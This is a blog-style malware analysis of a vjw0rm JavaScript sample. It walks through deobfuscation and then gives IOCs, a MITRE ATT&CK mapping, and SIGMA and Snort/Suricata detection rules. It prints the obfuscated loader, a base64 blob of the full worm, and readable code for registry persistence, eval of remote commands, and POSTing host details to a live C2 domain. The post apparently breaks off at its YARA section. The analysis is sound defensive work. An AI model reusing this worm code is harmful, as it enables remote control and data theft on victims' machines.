Summary #
I want to caveat your reading of this post with this; this is all about dipping the old cyber toe into reversing. I will make mistakes, I will document said mistakes throughout and even when I have published this blog, there will undoubtedly be things that more experienced folk will pick up that I might have misinterpreted or plainly gotten wrong. Regardless, I hope this serves as a nice write up for other folks that are interested in the field as well as giving a bit back to the community.
This sample was collected from ANY.RUN. It contains commonly used obfuscation techniques to hide/obscure the contents of the script. Noting this, I thought it served as a good starting point for analysis. So without further ado, lettuce commence.
Hash Values #
Hash | Value |
---|---|
MD5: | ee3851d1ae3dca617ea7ca4331e2bc8f |
SHA1: | 8759637e8acb0406d0a485ae784f28205cc4dccf |
SHA256: | f0aa755fc9a44a0406ee649d6ae6f05b18bbe0b3be072c96e9ecb6269ab25636 |
Approach #
I started this task with your basic static protocols. I had a bit of a squiz at the thing in Notepad++. Initially it was a visual nightmare, a bunch of randomly named functions, with some wild, random blobs of data. I ended up installing a nice JS plugin called “JSTool” to help visualise and format this code so that my eyeballs didn’t bleed from the chonk of the thing.
Although I later learned that Cyberchef has the same function, if not actually better than this plugin, so I actually completed this step again using the output from that tool.
var _8, _1, _0x2162, _2, _7, _6, _5, _9, superString, xmlDOM, _0x2ebc, _4, comObject, _3;
(function () {
function _$af1389795() {
for (var V = _0x2162, R = _0x2ebc();;) {
if (_$af1389802 == false) {
_$af1389797(true, 1, true);
_$af1389808 = 1;
return;
} else {
try {
if (!_$af1389806) {
_$af1389813 = null;
}
;
if (603220 == -parseInt(V(136)) + parseInt(V(150)) / 2 * (parseInt(V(131)) / 3) + parseInt(V(148)) / 4 + parseInt(V(130)) / 5 * (parseInt(V(171)) / 6) + -parseInt(V(159)) / 7 + -parseInt(V(133)) / 8 * (parseInt(V(128)) / 9) + -parseInt(V(157)) / 10) {
break;
}
;
R.push(R.shift());
} catch (V) {
R.push(R.shift());
}
}
}
}
Figure 1: Look at that delightful formatting from Cyberchef.io
In my initial scan, I looked for key identifiers that could help me understand what exactly this script was doing. Immediately, nothing really makes sense, so it is easy to say that this is obfuscated.
The function that immediately warranted further investigation was _$af13899809
with a variable that contained a chunk of intriguing code.
Ly8gQ29kZWQgYnkgdl9CMDEgfCBTbGllbWVyZXogLT4gVHdpdHRlci<_6IFNsaWVtZXJleg0KDQp2YXIgai<_9IFsiV1NjcmlwdC5TaGVsbCIsIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiwiU2hlbGwuQXBwbGljYXRpb24iLCJNaWNyb3NvZnQuWE1MSFRUUCJdOw0KdmFyIGcgPSBbIkhLQ1UiLCJIS0xNIiwiSEtDVVxcdmp3MHJtIiwiXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVuXFwiLCJIS0xNXFxTT0ZUV0FSRVxcQ2xhc3Nlc1xcIiwiUkVHX1NaIiwiXFxkZWZhdWx0aWNvblxcIl07DQp2YXIgeS<_9IFsid2lubWdtdHM6Iiwid2luMzJfbG9naWNhbGRpc2siLCJXaW4zMl9PcGVyYXRpbmdTeXN0ZW0iLCdBbnRpVmlydXNQcm9kdWN0J107DQoNCnZhciBzaC<_9IENyKD<_pOw0KdmFyIGZzID0gQ3IoMSk7DQp2YXIgc3BsID0gInxWfCI7DQp2YXIgQ2ggPS<_iXFwiOw0KdmFyIFZOID0gIjkvMjEiICsgIl8iICsgT2IoNik7DQp2YXIgZnUgPSBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lOw0KdmFyIHduID0gV1NjcmlwdC5TY3JpcHROYW1lOw0KdmFyIFU7DQp0cnkgew0KVS<_9IHNoLlJlZ1JlYWQoZ1syXSk7DQp9IGNhdGNoKGVycikgew0KdmFyIHN2ID0gZnUuc3BsaXQoIlxcIik7DQppZi<_oIjpcXCIgKyBzdlsxXS<_9PS<_iOlxcIi<_rIHduKSB7DQpVID0gIlRSVUUiOw0Kc2guUmVnV3JpdGUoZ1syXSxVLGdbNV0pOw0KfSBlbHNlIHsNClUgPS<_iRkFMU0UiOw0Kc2guUmVnV3JpdGUoZ1syXSxVLGdbNV0pOw0KfQ0KfQ0KTnMoKTsNCmRvIHsNCnRyeSB7DQp2YXIgUC<_9IFB0KCdWcmUnLCcnKTsNCl<_gPSBQLnNwbGl0KHNwbCk7DQoNCmlmIChQWzBdID09PS<_iQ2wiKSB7DQpXU2NyaXB0LlF1aXQoMSk7DQp9DQoNCmlmIChQWzBdID09PS<_iU2MiKSB7DQp2YXIgczIgPSBFeCgidGVtcCIpICsgIlxcIi<_rIFBbMl07DQp2YXIgZmkgPSBmcy5DcmVhdGVUZXh0RmlsZShzMix0cnVlKTsNCmZpLldyaXRlKFBbMV0pOw0KZmkuQ2xvc2UoKTsNCnNoLnJ1bihzMik7DQp9DQoNCmlmIChQWzBdID09PS<_iRXgiKSB7DQpldmFsKFBbMV0pOw0KfQ0KDQppZi<_oUFswXS<_9PT0gIlJuIikgew0KdmFyIHJpID0gZnMuT3BlblRleHRGaWxlKGZ1LDEpOw0KdmFyIGZyID0gcmkuUmVhZEFsbCgpOw0KcmkuQ2xvc2UoKTsNClZOID0gVk4uc3BsaXQoIl8iKTsNCmZyID0gZnIucmVwbGFjZShWTlswXSxQWzFdKTsNCnZhciB3aS<_9IGZzLk9wZW5UZXh0RmlsZShmdSwyLGZhbHNlKTsNCndpLldyaXRlKGZyKTsNCndpLkNsb3NlKCk7DQpzaC5ydW4oIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBmdS<_rICJcIiIpOw0KV1NjcmlwdC5RdWl0KDEpOw0KfQ0KDQppZi<_oUFswXS<_9PT0gIlVwIikgew0KdmFyIHMyID0gRXgoInRlbX<_iKS<_rICJcXCIgKyBQWzJdOw0KdmFyIGN0Zi<_9IGZzLkNyZWF0ZVRleHRGaWxlKHMyLHRydWUpOw0KdmFyIGd1ID0gUFsxXTsNCmd1ID0gZ3UucmVwbGFjZSgifFV8IiwifFZ8Iik7DQpjdGYuV3JpdGUoZ3UpOw0KY3RmLkNsb3NlKCk7DQpzaC5ydW4oIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBzMi<_rICJcIiIsNik7DQpXU2NyaXB0LlF1aXQoMSk7DQp9DQoNCmlmIChQWzBdID09PS<_iVW4iKSB7DQp2YXIgczIgPSBQWzFdOw0KdmFyIHZkci<_9IGZ1Ow0KdmFyIHJlZ2kgPS<_iTm90aGluZyEiOw0KczIgPSBzMi5yZXBsYWNlKCIlZiIsZnUpLnJlcGxhY2UoIiVuIix3bikucmVwbGFjZSgiJXNmZHIiLHZkcikucmVwbGFjZSgiJVJnTmUlIixyZWdpKTsNCmV2YWwoczIpOw0KV1NjcmlwdC5RdWl0KDEpOw0KfQ0KDQppZi<_oUFswXS<_9PT0gIlJGIikgew0KdmFyIHMyID0gRXgoInRlbX<_iKS<_rICJcXCIgKyBQWzJdOw0KdmFyIGZpID0gZnMuQ3JlYXRlVGV4dEZpbGUoczIsdHJ1ZSk7DQpmaS5Xcml0ZShQWzFdKTsNCmZpLkNsb3NlKCk7DQpzaC5ydW4oczIpOw0KfQ0KfSBjYXRjaChlcnIpIHsNCn0NCldTY3JpcHQuU2xlZX<_oNz<_wMCk7DQoNCn0gd2hpbGUgKHRydWUpIDsNCg0KDQpmdW5jdGlvbiBFeChTKSB7DQpyZXR1cm4gc2guRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlIi<_rIFMgKy<_iJSIpOw0KfQ0KZnVuY3Rpb24gUHQoQyxBKSB7DQp2YXIgWC<_9IENyKDMpOw0KWC5vcGVuKCdQT1NUJywnaHR0cDovL2phdmFhdXRvcnVuLmR1aWEucm86NTQ2NS8nICsgQywgZmFsc2UpOw0KWC5TZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50OiIsbmYoKSk7DQpYLnNlbmQoQSk7DQpyZXR1cm4gWC5yZXNwb25zZXRleHQ7DQp9DQoNCg0KZnVuY3Rpb24gbmYoKSB7DQp2YXIgcyxOVCxpOw0KaWYgKGZzLmZpbGVleGlzdHMoRXgoIldpbmRpciIpICsgIlxcTWljcm9zb2Z0Lk5FVFxcRnJhbWV3b3JrXFx2Mi4wLjUwNzI3XFx2YmMuZXhlIikpIHsNCk5UID0iWUVTIjsNCn0gZWxzZSB7DQpOVC<_9ICJOTyI7DQp9DQpzID0gVk4gKyBDaC<_rIEV4KCJDT01QVVRFUk5BTUUiKS<_rIENoICsgRXgoIlVTRVJOQU1FIikgKyBDaC<_rIE9iKDIpICsgQ2ggKyBPYig0KS<_rIENoICsgQ2ggKyBOVC<_rIENoICsgVS<_rIENoOw0KcmV0dXJuIHM7DQp9DQoNCmZ1bmN0aW9uIENyKE4pIHsNCglyZXR1cm4gbmV3IEFjdGl2ZVhPYmplY3QoaltOXSk7DQp9DQoNCmZ1bmN0aW9uIE9iKE4pIHsNCnZhciBzOw0KaWYgKE4gPT0gMikgew0Kcy<_9IEdldE9iamVjdCh5WzBdKS5JbnN0YW5jZXNPZih5WzJdKTsNCnZhciBlbi<_9IG5ldyBFbnVtZXJhdG9yKHMpOw0KZm9yICg7ICFlbi5hdEVuZCgpO2VuLm1vdmVOZXh0KCkpIHsNCnZhciBpdC<_9IGVuLml0ZW0oKTsNCnJldHVybiBpdC5DYXB0aW9uOw0KYnJlYWs7DQp9DQp9DQppZi<_oTi<_9PS<_0KSB7DQp2YXIgd21nID0gIndpbm1nbXRzOlxcXFxsb2NhbGhvc3RcXHJvb3RcXHNlY3VyaXR5Y2VudGVyIjsNCnMgPSBHZXRPYmplY3Qod21nKS5JbnN0YW5jZXNPZih5WzNdKTsNCnZhciBlbi<_9IG5ldyBFbnVtZXJhdG9yKHMpOw0KZm9yICg7ICFlbi5hdEVuZCgpO2VuLm1vdmVOZXh0KCkpIHsNCnZhciBpdC<_9IGVuLml0ZW0oKTsNCnZhciBzdHIgPSBpdC5EaXNwbGF5TmFtZTsNCn0NCmlmIChzdHIgIT09ICcnKSB7DQp3bWcgPSB3bWcgKy<_iMiI7DQpzID0gR2V0T2JqZWN0KHdtZykuSW5zdGFuY2VzT2YoeVszXSk7DQplbi<_9IG5ldyBFbnVtZXJhdG9yKHMpOw0KZm9yICg7ICFlbi5hdEVuZCgpO2VuLm1vdmVOZXh0KCkpIHsNCml0ID0gZW4uaXRlbSgpOw0KcmV0dXJuIGl0LkRpc3BsYXlOYW1lOw0KfQ0KfSBlbHNlIHsNCnJldHVybiBpdC5EaXNwbGF5TmFtZTsNCn0NCn0NCmlmIChOPT02KSB7DQpzID0gR2V0T2JqZWN0KHlbMF0pLkluc3RhbmNlc09mKHlbMV0pOw0KdmFyIGVuID0gbmV3IEVudW1lcmF0b3Iocyk7DQpmb3IgKDsgIWVuLmF0RW5kKCk7ZW4ubW92ZU5leHQoKSkgew0KdmFyIGl0ID0gZW4uaXRlbSgpOw0KcmV0dXJuIGl0LnZvbHVtZXNlcmlhbG51bWJlcjsNCmJyZWFrOw0KfQ0KfQ0KfQ0KDQpmdW5jdGlvbiBOcygpIHsNCgkNCgkNCgkNCgl0cnkgew0KCQl2YXIgYX<_gPSBDcigyKTsNCgkJZnMuQ29weUZpbGUoZnUsIGFwLk5hbWVTcGFjZSg3KS5TZWxmLlBhdGggKy<_iXFwiICsgd24sdHJ1ZSk7DQoJfSBjYXRjaChlcnIpIHsNCgl9DQp9DQoNCg0K
Figure 2: Encoded chunk of text
I do believe you just might be base64 encoded fren.
Lets test that theory.
I threw the blob into Cyberchef.io to hopefully reveal the sage wisdom of the malware. Alas, it still looked incredibly borked in the output. Some components of the code were readable, but there were distinct blobs that again, simply didnt look right.
// Coded by v_B01 | Sliemerez -> Twitter...Û.Y[Y\.^.B.B..\...Ò.²%u67&..Bå6.VÆÂ"Â%67&..F.æräf.ÆU7.7FVÔö&¦V7B"Â%6.VÆÂä...Æ.6.F.öâ"Â$Ö.7&÷6ögBå.ÔÄ.EE.%ӰЧf.".r.Ò.²$.´5R"Â$.´ÄÒ"Â$.´5UÅÇf§s.&Ò"Â%ÅÅ6ögGv.&UÅÄÖ.7&÷6ögEÅÅv.æF÷w5ÅÄ7W'&VçEfW'6.öåÅÅ'VåÅÂ"Â$.´ÄÕÅÅ4ôeEt.$UÅÄ6Æ.76W5ÅÂ"Â%$Tuõ5¢"Â%ÅÆFVf.VÇF.6öåÅÂ%ӰЧf."..ô.l.Ý¥¹µ.µÑÌè.°.Ý¥¸ÌÉ}±½.¥..±.¥Í¬.°.]¥¸ÌÉ}=Á.É.Ñ¥¹.MåÍÑ.´.°..¹Ñ¥Y¥ÉÕÍAɽ.Õ.Ð.tì4(4)Ù.È.Í ½ Cr(:NÃB..\...È.H.Ü..JNÃB..\..Ü...H......ÃB..\..Ú..J%ÅÂ#°Ð§f.".dâ.Ò.#.ó#.".².%ò".².ö".b.°Ð§f.".gR.Ò.u67&..Bå67&..DgVÆÄæ.ÖS°Ð§f.".vâ.Ò.u67&..Bå67&..Dæ.ÖS°Ð§f.".S°Ð§G'..°Ð¥Rô.Í ¹I..I...¡.lÉt¤ì4)ô...Ñ. ¡.ÉȤ.ì4)Ù.È.ÍØ.ô..Ô¹ÍÁ±¥Ð .qp.¤ì4)¥.¨":\\" + sv[1]/OJ#¥ÅÂ"¬.ݸ¤.ì4)T.ô..QIU..ì4)Í ¹I..]É¥Ñ.¡.lÉt±T±.lÕt¤ì4)ô..±Í..ì4)T.ô¢FALSE";
sh.RegWrite(g[2],U,g[5]);
}
}
Ns();
do {
try {
var P/H..
Õ..IË ÉÊNÃB..Ò..ç7.Æ.B.7.Â.°Ð Ц.b...³.Ò.ÓÓÒ.
°.¤.ì4)]M.É¥ÁйEեРĤì4)ô4(4)¥..¡AlÁt.ôôô¢Sc") {
var s2 = Ex("temp") + "\\"*È..Ì.NÃB..\...H.H..Ë.Ü.X].U.^...[.J.Ì....YJNÃB..K.Ü.].J..ÌWJNÃB..K.Û.ÜÙJ
NÃB.Ú...[..Ì.NÃB.CB.B.Y.
..Ì.H.OOJ$W."..°Ð¦Wf.Â..³.Ò.°Ð§ÐРЦ.b¡AlÁt½== "Rn") {
var ri = fs.OpenTextFile(fu,1);
var fr = ri.ReadAll();
ri.Close();
VN = VN.split("_");
fr = fr.replace(VN[0],P[1]);
var wi/H..Ë.Ü.[..^...[.J..K....[.ÙJNÃB.ÚK.Ü.].J...NÃB.ÚK.Û.ÜÙJ
NÃB.Ú...[...ÜØÜ.\...^.H.ËÐ.....
È..J².%Â"".°Ð¥u67&..Bå.V.B...°Ð§ÐРЦ.b¡AlÁt½== "Up") {
var s2 = Ex("temx.J².%ÅÂ".²..³%ӰЧf.".7Fbô..̹
É..Ñ.Q.áÑ.¥±.¡ÌȱÑÉÕ.¤ì4)Ù.È..Ô.ô.AlÅtì4).Ô.ô..Ô¹É.Á±... .ñUð.°.ñYð.¤ì4).Ñ.¹]É¥Ñ.¡.Ô¤ì4).Ñ.¹
±½Í. ¤ì4)Í ¹ÉÕ¸ .ÝÍ.É¥Áй.á..¼½..p...¬.ÌÈ« "\"",6);
WScript.Quit(1);
}
Figure 3: Partially decoded chunk of the script
Initial screening of the readable information and we have gleaned some facts at least:
- The code has an author
- Reference to a domain name, potential C2
http://javaautorun.duia.ro:5465
with a specific port for comms via POST request - There is reference to a file on the operating system.
\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe
At this point we have some interesting pieces of information and additionally, some solid evidence that points to our script being very naughty indeed.
The next step was to figure out how to actually decode this information, so that everything is actually readable – as it should be. There had to be a key here.
// Coded by v_B01 | Sliemerez -> Twitter
What is v_B01? and what is a Sliemerez? how to we get it to tell us its secrets? It’s time for some research.
After a few hours of looking into samples that also included similar statements, I was at a bit of a loss. The frustration levels grew higher and I decided to walk away. On return, I took a different approach to the problem and focused instead on methodologies used by other malware analysts to look at similar malware written in JavaScript.
Analysis Take Two #
I returned to the script with renewed vigour, donned my glasses and ignored that giant chunk of text for the moment. The hot take I learned from my researching travels was to look out for eval
statements, and eval
s did I look for indeed!
The original obfuscated sample contained one such statement at the end of the code.
xmlDOM[_2(254)] = _2(242), xmlDOM[_2(256)] = superString[_2(240)](/<_/g, 'A');
comObject = WSH[_2(234)](_2(239));
if (!_$af1389800) {
_$af1389809();
_$af1389800 = 0;
}
;
comObject[_2(248)] = 1, comObject[_1(162)](), comObject[_2(244)](xmlDOM[_1(180)]), comObject[_2(237)] = 0, comObject[_8(458)] = 2, comObject[_2(247)] = _1(168), eval(comObject[_2(241)]());
}());
Figure 4: Eval statement in obfuscated nonsense
Now, the comobjects and xmlDOM should have immediately given away the fact I shouldn’t use console.log
in this instance to attempt deobfuscation of this script, however, in my gusto I did and thoroughly bamboozled myself for the next few hours, wondering why, exactly the script now hung when I ran it with nodejs. I ended up once again taking a break and pondering my existence and lifes choices a little longer before I arrived at the next attempt.
comObject, you say? Well lets give WScript a crack and replace that eval
statement with WScript.Echo
and see what we get.
I changed the code and opened up powershell.
xmlDOM[_2(254)] = _2(242), xmlDOM[_2(256)] = superString[_2(240)](/<_/g, 'A');
comObject = WSH[_2(234)](_2(239));
if (!_$af1389800) {
_$af1389809();
_$af1389800 = 0;
}
;
comObject[_2(248)] = 1, comObject[_1(162)](), comObject[_2(244)](xmlDOM[_1(180)]), comObject[_2(237)] = 0, comObject[_8(458)] = 2, comObject[_2(247)] = _1(168), WScript.Echo(comObject[_2(241)]());
}());
> wscript.exe ./vjworm.js
Figure 5: WScript replacement and powershell execution command
Interjection: The folly of an analyst #
Now, this seems and feels simple here, but the key piece of information I have left out until this point is slightly embarassing. We’ve all done it, but I actually had the syntax wrong for our dear friend WScript. I forgot to capitalise the S in script, which left me with an Undefined Error
.
Classically, instead of actually listening to the sage wisdom of said error, I went on a stackoverflow hunt to solve the bamboozle which served to not really answer anything. A quick break, a look at some legitimate WScript calls in random scripts, and a facepalm later, I changed the command and the darn thing worked.
Execution of this resulted in a pop up in WScript Host.
// Coded by v_B01 | Sliemerez -> Twitter : Sliemerez
var j = ["WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP"];
var g = ["HKCU","HKLM","HKCU\\vjw0rm","\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","HKLM\\SOFTWARE\\Classes\\","REG_SZ","\\defaulticon\\"];
var y = ["winmgmts:","win32_logicaldisk","Win32_OperatingSystem",'AntiVirusProduct'];
var sh = Cr(0);
var fs = Cr(1);
var spl = "|V|";
var Ch = "\\";
var VN = "9/21" + "_" + Ob(6);
var fu = WScript.ScriptFullName;
var wn = WScript.ScriptName;
var U;
try {
U = sh.RegRead(g[2]);
} catch(err) {
var sv = fu.split("\\");
if (":\\" + sv[1] == ":\\" + wn) {
U = "TRUE";
sh.RegWrite(g[2],U,g[5]);
} else {
U = "FALSE";
sh.RegWrite(g[2],U,g[5]);
}
}
Ns();
do {
try {
var P = Pt('Vre','');
P = P.split(spl);
Figure 6: WScript Output received through execution of file
Well, well, well. This definitely looks a lot better than our first attempt via base64 decoding. The variables are all there and there is no funky encoding dramas this time around. I decided to run the command again, piping the output of the command into a file on disk to investigate further.
# moved to cscript to execute so it boops into a file.
# comparing the pair, I also just like cscript output better...
> cscript.exe .\vjworm_2.js > vjworm_3.js
The output looks much better now. All of the variables look readable (whilst horribly formatted at present). Now time to figure out each variable in turn.
The Analysis… deepens? #
In this section, we will be looking at each segment of the JS code and attempting to make each function human readable. The objective of this exercise is to clearly figure out:
- Where the malware persists
- C2 communications
- Any additional functions of the malware
var sh = Cr(0);
var fs = Cr(1);
var spl = '|V|';
var Ch = '\\';
var VN = '9/21' + '_' + Ob(6);
var fu = WScript.ScriptFullName;
var wn = WScript.ScriptName;
var U;
try {
U = sh.RegRead(g[2]);
} catch (err) {
var sv = fu.split('\\');
if (':\\' + sv[1] == ':\\' + wn) {
U = 'TRUE';
sh.RegWrite(g[2], U, g[5]);
} else {
U = 'FALSE';
sh.RegWrite(g[2], U, g[5]);
}
}
Figure 7: Hard to read, arguably still ‘obfuscated’ script
To make reading this sample more confusing, global variables and arrays are defined at the beginning of this script making it harder to read. The variables that follow contain values that are very hard to make sense of. I worked logically through each function to change these values to make them easier to read. I have included examples of this in Figure 8 below.
try {
reg_key_installed = sh.RegRead('HKCU\\vjw0rm');
} catch (err) {
var sv = WScript.ScriptFullName.split('\\');
if (':\\' + sv[1] == ':\\' + WScript.ScriptName) {
reg_key_exists = 'TRUE';
sh.RegWrite('HKCU\\vjw0rm', reg_key_installed, 'REG_SZ');
} else {
reg_key_exists = 'FALSE';
sh.RegWrite('HKCU\\vjw0rm', reg_key_installed, 'REG_SZ');
}
}
Figure 8: De-bamboozled, easier to read script showing persistence
Once this section of code is made readable it reveals the primary persistence mechanism for this variant of vjw0rm. The malware will check to see whether the registry value of HKCU\\vjworm
is present.
Note: you could name these variables whatever you want, I just named them something that made sense to my weird brain.
I continued to move through the script, deobfuscating the commands as I went. This way I was able to make sense of the functions of the malware.
do {
try {
var path = Pt('Vre', ''); // directory that is appended to the C2
path = path.split(spl);
if (path[0] === 'Cl') {
WScript.Quit(1);
}
if (path[0] === 'Sc') {
var s2 = Ex('temp') + '\\' + path[2];
var fi = fs.CreateTextFile(s2, true);
fi.Write(path[1]);
fi.Close();
sh.run(s2);
}
if (path[0] === 'Ex') {
eval(path[1]);
}
if (path[0] === 'Rn') {
var ri = fs.OpenTextFile(WScript.ScriptFullName, 1);
var fr = ri.ReadAll();
ri.Close();
VN = VN.split('_');
fr = fr.replace(VN[0], path[1]);
var wi = fs.OpenTextFile(WScript.ScriptFullName, 2, false);
wi.Write(fr);
wi.Close();
sh.run('wscript.exe //B "' + WScript.ScriptFullName + '"');
WScript.Quit(1);
}
if (path[0] === 'Up') {
var s2 = Ex('temp') + '\\' + path[2];
var ctf = fs.CreateTextFile(s2, true);
var gu = path[1];
gu = gu.replace('|U|', '|V|');
ctf.Write(gu);
ctf.Close();
sh.run('wscript.exe //B "' + s2 + '"', 6);
WScript.Quit(1);
}
if (path[0] === 'Un') {
var s2 = path[1];
var vdr = WScript.ScriptFullName;
var regi = 'Nothing!';
s2 = s2.replace('%f', WScript.ScriptFullName).replace('%n', WScript.ScriptName).replace('%sfdr', vdr).replace('%RgNe%', regi);
eval(s2);
WScript.Quit(1);
}
if (path[0] === 'RF') {
var s2 = Ex('temp') + '\\' + path[2];
var fi = fs.CreateTextFile(s2, true);
fi.Write(path[1]);
fi.Close();
sh.run(s2);
}
Figure 9: Partially Deobfuscated C2 commands
This section of the code required more work. I needed to make additional adjustments to the parameters here to determine the functionality of each command that could be sent to the victim machine.
Moving down, I arrived at the C2 domain that was previously located through the base64 decoding exercise. Here, we can see all of the additional informaiton that is sent via the post requests to the C2. Key points:
- C2 domain has the
/vre
directory appended to it as per Figure 9 - We can determine the syntax of the data sent to the C2 from the infromation provided below
function C2_Domain(C, A) { // Domain to send victim information
var C2_Request = "Microsoft.XMLHTTP";
C2_Request.open('POST', 'http://javaautorun.duia.ro:5465/' + path, false);
C2_Request.SetRequestHeader('User-Agent:', Info_Exfil());
C2_Request.send(A);
return C2_Request.responsetext;
}
function Info_Exfil() { // Check to see whether vbc.exe exists on disk
var victim_info, VBS_Exists, i;
if (fs.fileexists(Ex('Windir') + '\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe')) {
VBS_Exists = 'YES';
} else {
VBS_Exists = 'NO';
} // Collect and post the following victim information to C2 address
victim_info = campaign + blackslash + Ex('COMPUTER_NAME') + blackslash + Ex('USER_NAME') + blackslash + Sys_Info(GET_OS) + blackslash + Sys_Info(GET_AV) + blackslash + blackslash + VBS_Exists + blackslash + reg_key_exists + blackslash;
return victim_info;
Figure 10: C2 Domain and POST data syntax
The User-Agent string is used to supply the C2 domain with information recovered from the victim machine
POST /Vre HTTP/1.1
Host: javaautorun.duia.ro:5465
User-Agent: [campaign_identifier]_[device_serial]\[computer_name]\[user_name]\[operating_system]\[anti_virus]\[vbc_exists]\[previously_infected]
Note: the values would reflect the actual data collected from the victim host
Value | Definition |
---|---|
campaign_identifier | Allows identification of the script that infected the endpoint. Can be renamed. |
computer_name | Hostname of computer. Taken from the environment variables of the infected machine |
user_name | Username that ran the script. Taken from the environment variables of the infected machine |
operating_system | Returns the operating system version |
anti_virus | Returns the name of the anti-virus running on infected system if any |
vbc_exists | Checks for Visual Basic Compiler within the .NET Framework folder on disk |
previously_infected | Checks for the presence of the vjw0rm registry key on the host |
Figure 11: Breakdown of User-Agent String values |
Figure 12 shows what data is transmitted to the C2 infrastructure through the POST request using dummy values.
POST /Vre HTTP/1.1
Host: javaautorun.duia.ro:5465
User-Agent: 9\21_CED5691\USER-PC\Bob\Windows 10 20H2\undefined\YES\FALSE
Figure 12: HTTP Post with dummy values
Host Indicators #
Analysis of the deobfuscated script reveals two key host artefacts that can be used to create signatures for this variant of vjw0rm and are key to successful remediation of the malware from the infected device.
Indicator | Path |
---|---|
vjw0rm | HKCU\vjw0rm |
Network Indicators #
As previously identified, this malware seems to call out to the domain http://javaautorun.duia[.]ro:5465/
We know that this is a malicious indicator, but worth running this through
VirusTotal to see whether there are any other reported community connections to the URL that might give us some additional indicators. The URL is flagged by a total of 15 AVs at the time of writing this blog. Additionally, it is outwardly listed as a bot network/command and control domain served by the IP address 41[.]190.14.132
. The IP address is once again confirmed by completion of a
centralops.net domain search.
Network Indicator | Description |
---|---|
http://javaautorun.duia[.]ro:5465/ |
C2 Domain |
41[.]190.14.132 |
IP Address of C2 (VirusTotal) |
41[.]217.29.212 |
IP Address of C2 (Centralops) |
Figure 11: C2 Domains and their respective IP Addresses |
MITRE ATT&CK #
This section details the aspects of the MITRE ATT&CK framework used by vjw0rm.
Technique | ID | Description |
---|---|---|
Gather Victim Host Information | T1592 | vjw0rm gathers information about the victim’s host including Operating System, AntiVirus product, whether the victim has been infected previously and the presense of Visual Basic Compiler |
Phishing | T1566 | the most popular form of infection occurs through phishing campaigns, where the user of the victim machine is unwittingly tricked into downloading a Microsoft Office document/spreadsheet or PDF containing the malicious code. |
Command and Scripting Inerpreter | T1059 | vjw0rm is installed through running the malicious code via VBS. This allows vjw0rm to interact with the victim machine, checking and establishing persistence before beaconing back to the C2 domain with host details. |
Boot or Logon Autostart Execution | T1547 | vjw0rm establishes persistence by adding the registry key HKCU\vjw0rm to the victim machine. This is the only form of persistence used by this type of malware. |
Application Layer Protocol | T1071 | vjw0rm communicates using HTTP 1.0 via port 5465 with the C2 server. Details of the victim machine are nested in the User-Agent: string of the HTTP header as a level of obfuscation. |
Exfiltration Over C2 Channgel | T1041 | Victim machine information is harvested and transferred to the C2 server |
Signatures #
This segment of the report aims to provide actionable signatures for the community to protect against vjw0rm. This section will be updated as I work through and test each of the signatures. I’ll be writing a separate blog post that captures my signature creation process.
To create these rules, I move out of the context of my virtual environment with a code program installed on my host machine. The reasoning behind this is, like for my notes, I don’t want to lose the information that I capture from analysis through the reverting to a clean snapshot process.
SIGMA #
SIGMA rules are another tool for sharing detections, focusing on integration into a SIEM. The idea is that these rules will enrich SIEM data, pulling out and alerting the SOC Analyst of malicious behaviours. The below rule targets the vjw0rm registry key that is queried by default in each interaction.
title: vjw0rm Registry Activity
status: test
description: Detects the registry key used by vjw0rm as a form of persistence
author: polaryse
date: 2023/01/22
modified: 2023/01/222
tags:
- attack.persistence
- attack.t1547.001
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject: 'HKCU\vjw0rm'
condition: selection
level: high
Snort and Suricata #
Snort #
Snort is the most commonly known Open Source tool that identifies malicious network traffic. The rules created as part of this IPS are used to find packets that match against the known Indicators of Compromise (IOCs), generating an alert where said match is found.
alert http any any -> 41.190.14.132 5465 (msg: "vjw0rm C2 contacted by endpoint")
alert http any any -> 41.217.29.212 5465 (msg: "vjw0rm C2 contacted by endpoint")
The problem with the above rules is that if the malware author moves or changes their C2 infrastructure, these rules will no longer fire. The better approach here is to write a rule specifically targeting the C2 domain address or better yet, target the User-Agent String portion of the http packet and match on information that is always sent to the C2 domain. Attempts to achieve this appear below:
# blocking through host
# not effective, they can just roll the domain name
alert http $HOME_NET any -> $EXTERNAL_NET any (msg: "MALWARE vjworm C2 contacted"; http_header: field; host; content:"javaautorun.duia.ro";)
# alerting through POST request to /Vre URI
# better, but not amazing, what if the folder changes?
alert http $HOME_NET any -> $EXTERNAL_NET any (msg: "MALWARE vjworm C2 contacted"; flow:established,to_server; content:"POST"; nocase; http_method; uricontent:"/Vre HTTP/1.1";)
# alerting through identifying a pattern in the user-agent string
# more robust, has ability to change, but the serial number is present in a lot of vjworm samples.
# We might be safer here.
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MALWARE vjw0rm C2 contacted"; content:"POST"; http_method; http.user_agent; content:"_"; depth:8; fast_pattern; pcre:"/_[A-F0-9]{8}/V"; reference:url, [https://polaryse.github.io/posts/vjw0rm/](https://polaryse.github.io/posts/vjw0rm/); classtype:trojan-activity; sid:1000000; rev:1;)
Suricata #
Suricata rules are another method of Threat Intelligence sharing specifically for network traffic. like Snort, these rules are exceptionally pluggable. The following rule, as above, will alert on instances where an endpoint calls out to the Command and Controll domain identified during analysis of this malware.
# alerting on user-agent string
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MALWARE vjw0rm C2 contacted"; content:"POST"; http_method; http.user_agent; content:"_"; depth:8; fast_pattern; pcre:"/_[A-F0-9]{8}/V"; reference:url, [https://polaryse.github.io/posts/vjw0rm/](https://polaryse.github.io/posts/vjw0rm/); classtype:trojan-activity; sid:1000000; rev:1;)
YARA Signature #
YARA stands for “Another Recursive Acronym” or “Yet Another Ridiculous Acronym” which honestly, has always tickled me.
